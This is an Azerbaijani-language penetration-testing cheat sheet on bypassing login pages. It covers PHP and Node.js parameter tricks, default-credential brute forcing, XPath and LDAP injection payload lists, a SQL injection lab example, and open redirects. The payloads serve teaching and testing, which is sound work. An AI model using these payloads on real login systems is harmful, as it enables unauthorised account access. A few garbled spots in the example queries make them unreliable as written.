Login Bypass

Bir giriş səhifəsi tapdıqda, onu bypass etmək üçün üsullar:

  • Səhifə daxilində şərhləri yoxlayın

  • İcazə olmayan səhifələrə birbaşa daxil olmağın mümkün olub-olmadığını yolayın

  • PHP comparisons xətasını yoxlayın: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b

  • Məzmun növünü json'a dəyişdirin və json dəyərləri göndərin

    • POST-un dəstəklənmədiyini bildirən cavab aldıqda, JSON'u body hissəsində GET Content-Type: application/json sorğusu ilə göndərməyi yoxlayın.

  • Nodejs potensial təhlil xətasını yoxlayın (bunu oxuyun): parol[parol]=1

  • Nodejs həmin payload'ı aşağıdakı sorğuya çevirəcək:

SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; parol bitini həmişə doğru edir.

  • JSON obyektini göndərə bilsəniz, login bypass üçün "password":{"password": 1} göndərə bilərsiniz.

  • Login bypass üçün valid usename istifadə edilməlidir.

  • mysql.createConnectionçağırarkən "stringifyObjects":true variantının əlavə edilməsi, Object parametrdə ötürüldüyü aman bütün gözlənilməz davranışları bloklayacaq.

  • Credentials yoxlanılması:

    • İstifadə olunan texnologiya və ya platformanın defolt istifadəçi adı və parollarının yoxlamaq faydalı ola bilər. Bu credentials internetdən əldə edilə bilər.

    • Ən çox istifadə olunan kombinasiyalar (root, admin, password, texnologiyanın adı və s.).

    • Brute force hücumu üçün defolt istifadəçi və parollardan ibarət lüğət yaradın və hücumu həyata keçirin.

XPath Injection identifikasiyası bypass

XPath (XML Path Language) XML sənədlərində naviqasiya üçün istifadə edilən sorğu dilidir. XPath injeksiyalar, istifadəçi girişinin düzgün yoxlanılmadan XPath sorğularına təsir etdiyi situasiyalarda ortaya çıxır.

Tutaq ki, veb tətbiq istifadəçilərin təqdim etdikləri istifadəçi adı və parol əsasında autentifikasiyası üçün XPath sorğularından istifadə edir. XPath sorğusu belədir:

//user[username='provided_username' and password='provided_password']

Hücumçu aşağıdakı kimi bir şey daxil edə bilər:

' or 1=1 or 'a'='a

Girişə əsasən sorğu bu formaya düşür:

//user[username='' or 1=1 or 'a'='a' and password='provided_password']

Bu manipulyasiya edilmiş sorğuda 1=1 şərti həmişə doğru olaraq qiymətləndirilir və hücumçunun autentifikasiya mexanizmini bypass etməyə imkan verir.

XPath Injection identifikasiyası bypass üçün payloadlar:

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection identifikasiyası bypass

LDAP Injection, hücumçunun LDAP sorğularını manipulasiya edərək, icazəsiz girişə və ya information discloser'ə gətirib çıxaran təhlükəsizlik zəifliyidir.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

SQL İnjection zəifliyindən istifadə edərək login bypass praktiki nümunə

Laba buradan keçid edə bilərsiniz.

1.Login üçün arxada belə bir SQL sorğusunun getdiyini düşünün:

SELECT * FROM users WHERE username = 'administrator' AND password = 'password';

Aşağıdakı input ilə soğunu manipulasiya edirik

' OR '1'='1' -- 

və sorğu buna bənzəyir

SELECT * FROM users WHERE username = 'administratorə AND password = '' OR '1'='1' -- ';

Bu manipulyasiya edilmiş sorğuda 1=1 şərti həmişə doğru olaraq qiymətləndirilir və hücumçuya login bypass etməyə imkan verir və lab həll olur.

Redirect

Login olduqdan sonra səhifələr adətən istifadəçiləri yönləndirir, buna görə də burada Open Redirection zəifliyini yoxlamaq yaxşı fikirdir. Bu zəiflikdən istifadə edərək, istifadəçiləri başqa bir yerə yönləndirərək, kod, kuki kimi məlumatları oğurlamaq mümkündür.

Last updated